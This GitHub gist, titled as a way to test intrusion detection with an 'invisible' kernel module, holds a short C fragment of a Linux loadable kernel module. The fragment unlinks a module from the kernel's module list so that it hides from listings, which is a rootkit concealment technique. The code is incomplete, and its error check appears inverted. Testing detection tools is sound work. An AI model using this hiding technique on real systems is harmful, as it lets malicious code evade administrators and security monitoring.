Created
May 28, 2014 17:30
-
-
Save slashdevsda/698e6f9646469eef4f64 to your computer and use it in GitHub Desktop.
Testing IDS with "invisible lkm"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* tested on Linux 3.14 | |
* | |
*/ | |
#include <linux/kernel.h> | |
#include <linux/rculist.h> | |
#include <linux/moduleloader.h> | |
static LIST_HEAD(modules); | |
#define MODULE_NAME "module" | |
int delete_from_modules_list(void) | |
{ | |
struct module *me; | |
me = find_module(MODULE_NAME); | |
if (!me) | |
return -1; | |
list_del(&me->list); | |
return 0; | |
} | |
int hide(void) | |
{ | |
if ( !delete_from_modules_list()) | |
printk(KERN_ALERT "[lkm] Error while removing myself from modules list.\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment